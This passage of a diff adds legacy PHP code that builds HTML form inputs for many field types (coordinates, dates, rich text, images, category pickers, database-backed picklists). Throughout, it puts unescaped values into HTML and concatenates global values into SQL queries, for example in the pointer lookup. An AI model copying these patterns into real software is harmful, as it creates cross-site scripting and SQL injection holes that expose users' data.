+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "TRUE":
+                                       case "UNIQUE":
+                                       case "UNIQUE_NOT_REQ":
+                                       case "FALSE":
+                                               if( $f[0] == 'password' )
+                                                       {
+                                                       $out[$outcount]["value"] = $prefix.'<INPUT TYPE="password" NAME="'.$field[0].'" VALUE="'.$v.'" SIZE="'.$s.'">';
+                                                       $out[$outcount]["value"] .= '&nbsp enter again <INPUT TYPE="text" NAME="'.$field[0].'_verify" VALUE="'.$v.'" SIZE="'.$s.'">';
+                                                       }
+                                                 else
+                                                       $out[$outcount]["value"] = $prefix.'<INPUT TYPE="text" NAME="'.$field[0].'" VALUE="'.$v.'" SIZE="'.$s.'">';
+                                               break;
+                                       case "SUPPLIED":
+                                               $out[$outcount]["value"] = $prefix.'<INPUT TYPE="text" NAME="'.$field[0].'" SIZE="'.$s.'" VALUE="'.$GLOBALS[$field[4]].'">';
+                                               break;                                          
+                                       case "DISPLAY":
+                                               $out[$outcount]["value"] = $prefix.'<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'.$GLOBALS[$field[4]];
+                                               break;
+                                       case "HIDDEN":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+                                               break;
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+
+                       case "lat":
+
+                               $fw = 2;
+                               if( $f[1] > 0 )
+                                       $fw = $f[1];
+
+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "TRUE":
+                                       case "UNIQUE":
+                                       case "UNIQUE_NOT_REQ":
+                                       case "FALSE":
+                                               $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="N" SELECTED>North<OPTION VALUE="S">South</SELECT> 
+                                                               <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="0" SIZE="4" MAXLENGTH="2" ALIGN="right">&deg;
+                                                               <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", 0 ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+                                               break;
+                                       case "SUPPLIED":
+                                       case "DISPLAY":
+                                               $ns = 'N';
+                                               if( $GLOBALS[$field[4]] < 0 )
+                                                       {
+                                                       $ns = 'S';
+                                                       $GLOBALS[$field[4]] = -1 * $GLOBALS[$field[4]];
+                                                       }
+                                               $dv = (int) $GLOBALS[$field[4]];
+                                               $mv = ( $GLOBALS[$field[4]] - $dv ) * 60;
+                                               if( $field[3] == "SUPPLIED" )
+                                                       $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="N" '.($ns=='N'?'SELECTED':'').'>North<OPTION VALUE="S" '.($ns=='S'?'SELECTED':'').'>South</SELECT> 
+                                                               <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="'.$dv.'" SIZE="4"  MAXLENGTH="2" ALIGN="right">&deg;
+                                                               <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", $mv ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+                                                 else
+                                                       $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'
+                                                                       .sprintf( "<NOBR>%s %d&deg; %01.".$fw."f'</NOBR>", $ns, $dv, $mv ); 
+                                               break;                                          
+                                       case "HIDDEN":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+                                               break;
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+
+                       case "lon":
+
+                               $fw = 2;
+                               if( $f[1] > 0 )
+                                       $fw = $f[1];
+
+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "TRUE":
+                                       case "UNIQUE":
+                                       case "UNIQUE_NOT_REQ":
+                                       case "FALSE":
+                                               $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="W" SELECTED>West<OPTION VALUE="E">East</SELECT> 
+                                                               <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="0" SIZE="4"  MAXLENGTH="3" ALIGN="right">&deg;
+                                                               <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", 0 ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+                                               break;
+                                       case "SUPPLIED":
+                                       case "DISPLAY":
+                                               $ns = 'E';
+                                               if( $GLOBALS[$field[4]] < 0 )
+                                                       {
+                                                       $ns = 'W';
+                                                       $GLOBALS[$field[4]] = -1 * $GLOBALS[$field[4]];
+                                                       }
+                                               $dv = (int) $GLOBALS[$field[4]];
+                                               $mv = ( $GLOBALS[$field[4]] - $dv ) * 60;
+                                               if( $field[3] == "SUPPLIED" )
+                                                       $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="W" '.($ns=='W'?'SELECTED':'').'>West<OPTION VALUE="E" '.($ns=='E'?'SELECTED':'').'>East</SELECT> 
+                                                               <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="'.$dv.'" SIZE="4"  MAXLENGTH="3" ALIGN="right">&deg;
+                                                               <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", $mv ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+                                                 else
+                                                       $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'
+                                                                       .sprintf( "<NOBR>%s %d&deg; %01.".$fw."f'</NOBR>", $ns, $dv, $mv ); 
+                                               break;                                          
+                                       case "HIDDEN":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+                                               break;
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+
+                       case "date":
+                       
+                               $date_f = !empty( $f[1] ) ? time()-$f[1]*86400 : time() ;       // Set datestamp of first day to allow
+                               $date_t = !empty( $f[2] ) ? time()+$f[2]*86400 : time() ;       // Set datestamp of last day to allow
+
+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "TRUE":
+                                       case "FALSE":
+                                               $out[$outcount]["value"] = calendar_date_select( "", time(), $date_f, $date_t, $form_name, $field[0], $f[3], $f[4] );
+                                               break;
+                                       case "SUPPLIED":
+                                               $out[$outcount]["value"] = calendar_date_select( $GLOBALS[$field[4]], time(), $date_f, $date_t, $form_name, $field[0], $f[3], $f[4] );
+                                               break;                                          
+                                       case "DISPLAY":
+                                               $out[$outcount]["value"] = $prefix.'<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'.$GLOBALS[$field[4]];
+                                               break;
+                                       case "HIDDEN":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+                                               break;
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+                                                       
+                       case "textbox":
+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "TRUE";
+                                       case "FALSE";
+                                               $out[$outcount]["value"] = '<TEXTAREA NAME="'.$field[0].'" COLS="'.$f[1].'" ROWS="'.$f[2].'"></TEXTAREA>';
+                                               break;
+                                       case "SUPPLIED":
+                                               $out[$outcount]["value"] = '<TEXTAREA NAME="'.$field[0].'" COLS="'.$f[1].'" ROWS="'.$f[2].'">'
+                                                       .$GLOBALS[$field[4]].'</TEXTAREA>';
+                                               break;
+                                       case "DISPLAY":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'.$GLOBALS[$field[4]];
+                                               break;
+                                       case "HIDDEN":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+                                               break;
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+
+                       case "richtext":
+                               $def_text = '';
+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "SUPPLIED":
+                                               $def_text = $GLOBALS[$field[4]];
+                                               // no break, dropps through
+                                       case "TRUE";
+                                       case "FALSE";
+                                               if( SI_RICHTEXT_TYPE_ENABLED )
+                                                       {
+                                                       if( !$richtext_used  )
+                                                               {
+                                                               include_once( SI_BASE_PATH.'/glm_apps/HTMLArea/glm_functions_support.inc' );
+                                                               $richtext_used = TRUE;
+                                                               }
+                                                       $ew = ( trim($f[1]) != "" ? $f[1] : SI_DEFAULT_RICHTEXT_WIDTH );
+                                                       $eh = ( trim($f[2]) != "" ? $f[2] : SI_DEFAULT_RICHTEXT_HEIGHT );
+                                                       htmlarea_add_field( $field[0], $ew, $eh );
+                                                       $out[$outcount]["value"] = '<TABLE BORDER="1" WIDTH="'.$ew.'"><TR><TD><TEXTAREA ID="'.$field[0].'" NAME="'.$field[0].'" COLS="60" ROWS="5">'.$def_text.'</TEXTAREA></TD></TR></TABLE>';
+                                                       }
+                                                 else
+                                                 $out[$outcount]["value"] = '<TEXTAREA ID="'.$field[0].'" NAME="'.$field[0].'" COLS="60" ROWS="5">'.$def_text.'</TEXTAREA>';
+                                               break;
+                                       case "DISPLAY":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'.$GLOBALS[$field[4]];
+                                               break;
+                                       case "HIDDEN":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+                                               break;
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+
+                       case "multifield":              // multitext.numb_fields.new_line_string
+                       
+                                       // THIS FIELD TYPE REQUIRES java_functions.js
+
+                               switch( $field[3] )
+                                       {
+                                       case "TRUE":
+                                       case "FALSE":
+                                               $out[$outcount]["value"] = '<input type="hidden" name="'.$field[0].'_text" id="'.$field[0].'_text" value="'.$f[2].'">
+                                                                                                       <span id="'.$field[0].'_fields">';
+
+                                                       // If there's data, then build existing input lines with data
+                                               if( ( $x = trim($data[$field[0]]) ) != '' )
+                                                       {
+                                                       $field_data = unserialize( $data[$field[0]] );
+
+                                                       if( $field_data != false && is_array( $field_data ) )
+                                                               {                                                                               
+                                                                       // For each line of inputs
+                                                               for( $i=1 ; $i<=count($field_data) ; $i++ )
+                                                                       {
+                                                                       $f_line = str_replace( '{line_numb}', $i, $f[2] );              // Set line number in output text
+                                                                               // For each input field on the line
+                                                                       for( $j=1 ; $j<=$f[1] ; $j++ )
+                                                                               $f_line = str_replace( '{field_'.$j.'}', '<input type="text" name="'.$field[0].'_'.$i.'_'.$j.'" id="'.$field[0].'_'.$i.'_'.$j.'" value="'.$field_data[$i-1][$j-1].'" onChange="multi_fields(\''.$field[0].'\',this,'.$f[1].');">', $f_line );
+                                                                       
+                                                                       $out[$outcount]["value"] .= $f_line."\n";
+                                                                       }
+                                                               }
+
+                                                       }
+                                                 else
+                                                       $i = 1;         // If no data blank line is #1
+
+                                                       // Build 1 spare input line
+                                               $f_line = str_replace( '{line_numb}', $i, $f[2] );              // Set line number in output text
+                                               for( $j=1 ; $j<=$f[1] ; $j++ )
+                                                       $f_line = str_replace( '{field_'.$j.'}', '<input type="text" name="'.$field[0].'_'.$i.'_'.$j.'" id="'.$field[0].'_'.$i.'_'.$j.'" value="" onChange="multi_fields(\''.$field[0].'\',this,'.$f[1].');">', $f_line );
+                                               $out[$outcount]["value"] .= $f_line."\n</span>";
+
+                                               break;
+                               
+                                       case "HIDDEN":
+                                       case "DISLPLAY":
+                                       case "SUPPLIED":
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+
+                                       }
+                               break;
+
+                       case "image":
+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "TRUE":
+                                       case "FALSE":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="file" NAME="'.$field[0].'">';
+                                               break;
+                                       case "SUPPLIED":
+                                       case "DISPLAY":
+                                       case "HIDDEN":
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">SUPPLIED/DISPLAY/HIDDEN not allowed here for image</FONT>';
+                                               break;
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+
+                       case "images":
+                       
+                               switch( $field[3] )
+                                       {
+                                       case "TRUE":
+                                       case "FALSE":
+                                               $out[$outcount]["value"] = '';
+                                               $im_num = 0;
+
+                                               if( empty($f[1]) )
+                                                       $spare = 2;
+                                                 else
+                                                       $spare = $f[1];                                                                 
+
+                                                       // Check for options
+                                                       
+                                               $im_des = strstr( $f[2], 'descr' );
+                                               $im_align = strstr( $f[2], 'align' );
+                                               $im_size = strstr( $f[2], 'size' );
+                                               if( !empty( $f[3] ) )
+                                                       $im_des_s = $f[3];
+                                                 else
+                                                       $im_des_s = 40;
+                                               if( !empty( $f[4] ) )
+                                                       $im_des_t = $f[4];
+                                                 else
+                                                       $im_des_t = "Text";
+
+                                               for( $i=0 ; $i<$spare ; $i++ )
+                                                       {
+                                                       $out[$outcount]["value"] .= '
+                                                               Image #'.($im_num+1).'<BR>
+                                                               <TABLE BORDER="1">
+                                                                       <TR>
+                                                                               <TD COLSPAN="2" VALIGN="middle"><INPUT TYPE="file" NAME="'.$field[0].'['.$im_num.']">
+                                                                                       '.( $im_align ? ' 
+                                                                                               Align image <SELECT NAME="'.$field[0].'_ALIGN['.$im_num.']">
+                                                                                                       <OPTION VALUE="Left"'.($im_data[$im_num]['align']=="Left"?" SELECTED":"").'>Left
+                                                                                                       <OPTION VALUE="Right"'.($im_data[$im_num]['align']=="Right"?" SELECTED":"").'>Right
+                                                                                                       <OPTION VALUE="Top"'.($im_data[$im_num]['align']=="Top"?" SELECTED":"").'>Top
+                                                                                                       <OPTION VALUE="Middle"'.($im_data[$im_num]['align']=="Middle"?" SELECTED":"").'>Middle
+                                                                                                       <OPTION VALUE="Bottom"'.($im_data[$im_num]['align']=="Bottom"?" SELECTED":"").'>Bottom
+                                                                                               </SELECT>
+                                                                                               ' : '<INPUT TYPE="hidden" NAME="align" VALUE="">' ).'
+                                                                                       '.( $im_size ? ' 
+                                                                                               Size
+                                                                                               <SELECT NAME="'.$field[0].'_SIZE['.$im_num.']">
+                                                                                                       <OPTION VALUE="Original"'.($im_data[$im_num]['size']=="Original"?" SELECTED":"").'>Original
+                                                                                                       <OPTION VALUE="Resized"'.($im_data[$im_num]['size']=="Resized"?" SELECTED":"").'>Resized (width='.SI_RESIZED_SIZE.')
+                                                                                                       <OPTION VALUE="Midsized"'.($im_data[$im_num]['size']=="Midsized"?" SELECTED":"").'>Midsized (width='.SI_MIDSIZED_SIZE.')
+                                                                                                       <OPTION VALUE="Thumb"'.($im_data[$im_num]['size']=="Thumb"?" SELECTED":"").'>Thumb (width='.SI_THUMB_SIZE.')
+                                                                                               </SELECT>
+                                                                                               ' : '<INPUT TYPE="hidden" NAME="size" VALUE="">' ).'
+                                                                                       </TD>                                                                                   
+                                                                       </TR>
+                                                                       '.( $im_des ? '<TR><TD COLSPAN="2">'.$im_des_t.' <INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$im_des_s.'"></TD>' : '' ).'
+                                                                </TABLE>
+                                                                <BR>';
+                                                       $im_num++;      
+                                                       }                                                       
+                                               break;
+                               
+                                       case "HIDDEN":
+                                       case "DISLPLAY":
+                                       case "SUPPLIED":
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+
+                                       }
+                               break;
+
+
+                       case "file":
+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "TRUE":
+                                       case "FALSE":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="file" NAME="'.$field[0].'">';
+                                               break;
+                                       case "SUPPLIED":
+                                       case "DISPLAY":
+                                       case "HIDDEN":
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">SUPPLIED/DISPLAY/HIDDEN not allowed here for file</FONT>';
+                                               break;
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+
+                       case "category":
+                       
+                                       // If picklist is selected - use that for selection
+                                       
+                               if( strstr($f[3],'picklist') )
+                                       {
+                                       if( ($nodes = cat_get_nodes($f[1])) )
+                                               {
+                                               $out[$outcount]["value"] .= '<SELECT NAME="'.$field[0].'"><OPTION VALUE="">';
+                                               
+                                               reset($nodes);
+                                               while( list($key, $val) = each($nodes) ) 
+                                                       {
+                                                       $out[$outcount]["value"] .= '<OPTION VALUE="'.$val['id'].'">';
+                                                       if( strstr($f[3],'fullpath') )
+                                                               $out[$outcount]["value"] .= $val['cat_fullpath'];
+                                                         else
+                                                               {
+                                                               for( $i=0 ; $i<$val['cat_level'] ; $i++ )
+                                                                       $out[$outcount]["value"] .= "&nbsp;&nbsp;&nbsp;&nbsp;";
+                                                               $out[$outcount]["value"] .= $val['name'];
+                                                               }
+                                                       }
+                                               $out[$outcount]["value"] .= '</SELECT>';
+                                               }       
+                                         else
+                                               $out[$outcount]["value"] .= 'No categories listed.';
+                                       }
+                                 else  // Otherwise use pop-up
+                                       {
+                                                       
+                                               // Check if a value for this field is supplied
+                                       if( !empty($GLOBALS[$field[4]]) )
+                                               {
+                                               if( ($cval = cat_get_node( $f[1], "id = ".$GLOBALS[$field[4]] ) ) )
+                                                       {
+                                                       $cat_id = $GLOBALS[$field[4]];
+                                                       if( strstr($f[3],'fullpath') )
+                                                               $cat_name = $cval['cat_fullpath'];
+                                                         else
+                                                               $cat_name = $cval['cat_name'];
+                                                       }
+                                               }
+                                         else
+                                               {
+                                               $cat_id = 0;
+                                               $cat_name = "&nbsp;&nbsp;&nbsp;";
+                                               }
+                                               
+                                       $pop_width = !empty($f[4]) ? $f[4] : 200 ;
+                                       $pop_height = !empty($f[5]) ? $f[5] : 300 ;
+                                       $edit_width = !empty($f[6]) ? $f[6] : 400 ;
+                                       $edit_height = !empty($f[7]) ? $f[7] : 500 ;
+                                       
+                                       $out[$outcount]["value"] .= "
+                                                 <script language=\"JavaScript1.2\">
+                                                       <!--
+                                                               function category_select_popup_".$field[0]."( target )
+                                                                       {
+                                                                               // Pass values to the calendar
+                                                                               
+                                                                       tempX = 400;
+                                                                       tempY = 300;
+                                                                       
+                                                                       node_id = this.document.getElementById( target ).value;
+                                                                       var theUrl='".SI_BASE_URL."/glm_apps/category_select_popup.phtml?id=' + node_id + '&field_name=".$field[0]."&table=".$f[1]."&options=".urlencode($f[3])."&edit_width=".$edit_width."&edit_height=".$edit_height."&pop_width=".$pop_width."&pop_height=".$pop_height."';
+                                                               
+                                                                       tempX = tempX - 90;
+                                                                       tempY = tempY - 170;
+                                                                       
+                                                               if (navigator.appName == 'Netscape')
+                                                                               {
+                                                                       CategoryWind = window.open( theUrl, 'Calendar','scrollbars=yes,toolbar=no,resizable=yes,width=".$pop_width.",height=".$pop_height.",screenx=' + tempX + ',screeny=' + tempY,1 );
+                                                               }
+                                                                         else
+                                                                               {
+                                                               CategoryWind = window.open( theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=yes,width=".$pop_width.",height=".$pop_height.", top=' + tempY + ', left=' + tempX,1 );
+                                                               }
+                                       
+                                                                       CategoryWind.focus();                           
+                                                                       }
+                                                       -->
+                                                 </script>
+                                               ";
+                                               
+                                       $out[$outcount]["value"] .= '<INPUT TYPE="text" NAME="'.$field[0].'_NAME" ID="'.$field[0].'_NAME" VALUE="'.$cat_name.'" SIZE="'.$f[2].'" READONLY="readonly" STYLE="background-color: #eeeeee;">
+                                                                                                <INPUT TYPE="hidden" NAME="'.$field[0].'" ID="'.$field[0].'" VALUE="'.$cat_id.'">
+                                                                                                <A HREF="javascript:category_select_popup_'.$field[0].'(\''.$field[0].'\')">[Change]</A>
+                                                                                               ';
+                                       }
+                               break;
+                               
+                       case "pointer":
+
+                                       // If {value_field} type option supplied use that, otherwise use id of record as VALUE
+                               $value_field = !empty($f[3]) ? $f[3] : "id" ;
+
+                                       // If {where} type option supplied use that, otherwise get all possibilities from other table
+                               $w = !empty($f[4]) ? " WHERE ".$f[4] : "" ;
+
+                                       // If picklist options
+                               $p = !empty($f[5]) ? $f[5] : "" ;
+                               
+                                       // Sort field for query
+                               $s = !empty($f[6]) ? $f[6] : "id" ;
+
+                                       // Pointer options
+
+                               $pointer_option_add_field = FALSE;
+                               if( ! empty($f[7]) )
+                                       {
+                                       $option_table = explode_trim( ",", $f[7] );
+                                       foreach( $option_table as $option )
+                                               {
+                                               switch( $option )
+                                                       {
+                                                       case "add_field":                                               // Option to display a field for entering a new target
+                                                               $pointer_option_add_field = TRUE;
+                                                               break;
+                                                               
+                                                       default:
+                                                               break;
+                                                       }
+                                               }
+                                       }
+                                                               
+                                       
+                               $s = !empty($f[6]) ? $f[6] : "id" ;
+
+                                       // Check if a value for this field is supplied
+                               if( !empty($field[4]) )
+                                       $supplied = $GLOBALS[$field[4]];
+                                 else
+                                       $supplied = "";
+
+                               switch( $field[3] )
+                                       {
+                                               // These require us to build a pick list
+                                       case "TRUE":
+                                       case "FALSE":
+                                       case "SUPPLIED":
+
+                                               $d = db_auto_get_data( "SELECT * FROM  ".$f[1].$w." ORDER BY ".$s.";", $conn_str, FALSE, 500 );
+
+                                               if( !$d )
+                                                       {
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">No records from which to build picklist</FONT>';
+                                                       }
+                                                 else
+                                                       {
+                                                               // Create table of possibilities for pick list
+                                                               
+                                                       unset( $da );
+                                                       while( list($key, $val) = each($d) )
+                                                               {
+                                                               $da[$val[$value_field]] = $val[$f[2]];
+       
+                                                                       // If {required} setting is "SUPPLIED"
+                                                               if( $field[3] == "SUPPLIED" &&  $val[$value_field] == $GLOBALS[$field[4]] )
+                                                                       $dkey = $val[$value_field];     // Get id of record we're refering to
+                                                               }
+       
+                                                       $out[$outcount]["value"] = build_picklist( $field[0], $da, $dkey, "standard", $p );
+                                                       }
+                                                       
+                                                       // Provide an additional input field to permit adding a new target value
+                                                       
+                                               if( $pointer_option_add_field )
+                                                       $out[$outcount]["value"] .= '<NOBR> or add new value <INPUT TYPE="text" NAME="'.$field[0].'_add_field"></NOBR>';        
+
+                                               break;
+
+                                               // These require us to just get the data for the specific index
+
+                                       case "DISPLAY":
+                                       case "HIDDEN":
+                                               if( empty($field[4]) )
+                                                       {
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Missing value for DISPLAY & HIDDEN</FONT>';
+                                                       break;
+                                                       }
+                                               $d = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE ".$value_field." = ".$GLOBALS[$field[4]]." ORDER BY ".$s.";", 0, $conn_str, $fail_mode  );
+                                               if( !$d )
+                                                       {
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Specified value for DISPLAY/HIDDEN not found in table</FONT>';
+                                                       break;
+                                                       }
+                                                   else
+                                                       $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$d[$value_field].'">';
+
+                                               if( $field[3] == "DISPLAY" )    // If DISPLAY add the visible data after the hidden field
+                                                       {
+                                                       if( $f[5] == "checkbox" )
+                                                               $out[$outcount]["value"] .= ($d[$f[2]]=='t'?"Yes":"No");
+                                                           else
+                                                               $out[$outcount]["value"] .= $d[$f[2]];
+                                                       }
+
+                                               break;
+
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+
+                       case "list":
+                                       // If picklist options
+                               $p = !empty($f[3]) ? $f[3] : "" ;
+
+                               $option_table = "";
+                               $opts = explode_trim( "~", $f[1] );     // Separate list options
+                               $def_value = !empty($f[2]) ? $f[2] : "" ;
+                               foreach( $opts as $opt )
+                                       {
+                                       $os = explode_trim( "^", $opt );        // Separate value from displayed text
+                                       $option_table[$os[0]] = $os[1];
+                                       }
+                                       $out[$outcount]["value"] = build_picklist( $field[0], $option_table, $def_value, "standard", $p );
+                               if( $out[$outcount]["value"] == '' )
+                                       $out[$outcount]["value"] = '(no options listed)';
+                               break;
+
+                       case "state":           // Special case of list
+
+                               $out[$outcount]["value"] = build_picklist( $field[0], $GLOBALS['si_states_array'], $f[1], "standard", $f[2] );
+                               break;
+
+                       case "country":         // Special case of list
+
+                               $out[$outcount]["value"] = build_picklist( $field[0], $GLOBALS['si_countries_array'], $f[1], "standard", $f[2] );
+                               break;
+
+                       case "checkbox":
+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "TRUE":
+                                       case "FALSE":
+                                               $out[$outcount]["value"] =  '<INPUT TYPE="checkbox" NAME="'.$field[0].'">';
+                                               break;
+
+                                       case "SUPPLIED":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="checkbox" NAME="'.$field[0].'" '.($GLOBALS[$field[4]]=="t"?"CHECKED":"").'>';
+                                               break;
+
+                                       case "HIDDEN":
+                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+                                               break;
+
+                                       case "DISPLAY":
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">DISPLAY/HIDDEN not available for type checkbox at this time</FONT>';
+                                               break;
+
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               break;
+
+                       case "bitmap":
+
+                               $bmap = explode_trim( "~", $f[1] );
+                               $out[$outcount]["value"] = "";
+
+                               switch( $field[3] )     // {required} setting
+                                       {
+                                       case "TRUE":
+                                       case "FALSE":
+                                               for( $i=0 ; $i<count($bmap) ; $i++ )
+                                                       if( $bmap[$i] != '' )
+                                                               $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0]."[$i]".'">'.$bmap[$i].'<BR>';
+                                               break;
+
+                                       case "SUPPLIED":
+                                       case "DISPLAY":
+                                       case "HIDDEN":
+                                               for( $i=0 ; $i<count($bmap) ; $i++ )
+                                                       if( $bmap[$i] != '' )
+                                                               {
+                                                               $x = $GLOBALS[$field[4]] & pow( 2, $i ) ? " CHECKED" : "";              // Check if this bit set in supplied value
+                                                               $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0]."[$i]".'"'.$x.'>'.$bmap[$i].'<BR>';
+                                                               }
+                                               break;
+
+                                       default:
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                               break;
+                                       }
+                               if( $out[$outcount]["value"] == '' )
+                                       $out[$outcount]["value"] = '(no options listed)';
+                               break;
+
+                       case "break":
+                               if( !empty($f[1]) )     // if {t1} is supplied
+                                       $out[$outcount]["value"] = $f[1];
+                                   else
+                                       $out[$outcount]["value"] = '<FONT COLOR="red">No {text} supplied for type "break"</FONT>';
+                               break;
+
+                       default:
+                               $out[$outcount]["value"] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT>';
+                               break;
+                                       
+                       } // switch( field )
+                       
+               $outcount++;
+               } // foreach( field )
+
+               // Build submit button and hidden action and put in {submit}
+
+       $submit = '
+                       <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+                       '.$form_params.'
+                       <INPUT TYPE="submit" NAME="Option" VALUE="Add New">
+            ';
+
+               // Replace parameters in Title                  
+
+       for( $i=0 ; $i<$outcount ; $i++ )
+               {
+               $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+               $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+               }
+
+       $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+       $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+       
+               // Add QuickTip if provided
+               
+       if( trim($quick_tip) != '' )
+               $a_title = quick_tip( $a_title, $quick_tip );
+
+               // Output results
+                       
+                       // Display top of page and open form
+               
+       $ret .=  '<CENTER>
+               <FORM ENCTYPE="multipart/form-data" ACTION="'.$url.'" METHOD="post" ID="'.$form_name.'" NAME="'.$form_name.'">
+            ';
+
+       $hidden_data = '';
+       if( empty($view) )      // If there's no format spec in $view
+               {
+
+               $ret .=  $a_title.'
+                       <FONT COLOR="red">(Required fields in red)</FONT><BR>
+                       <TABLE BORDER="'.$borders.'" '.($borders>0?' CELLPADDING="5"':"").'>
+                    ';
+                
+               for( $i=0 ; $i<$outcount ; $i++ )
+                       {
+                       if( $out[$i]["name"] != '' )
+                               $ret .=  '<TR><TH ALIGN="right" VALIGN="top">'.$out[$i]["name"]
+                                       .'&nbsp;</TH><TD ALIGN="left">'.$out[$i]["value"].'&nbsp;</TD></TR>
+                                    ';
+                         else
+                               $hidden_data .= $out[$i]["value"];
+                       }
+
+               $ret .=  '      <P>
+                       </TABLE>'.$hidden_data.$submit; // Output the Confirm field and submit button
+                       
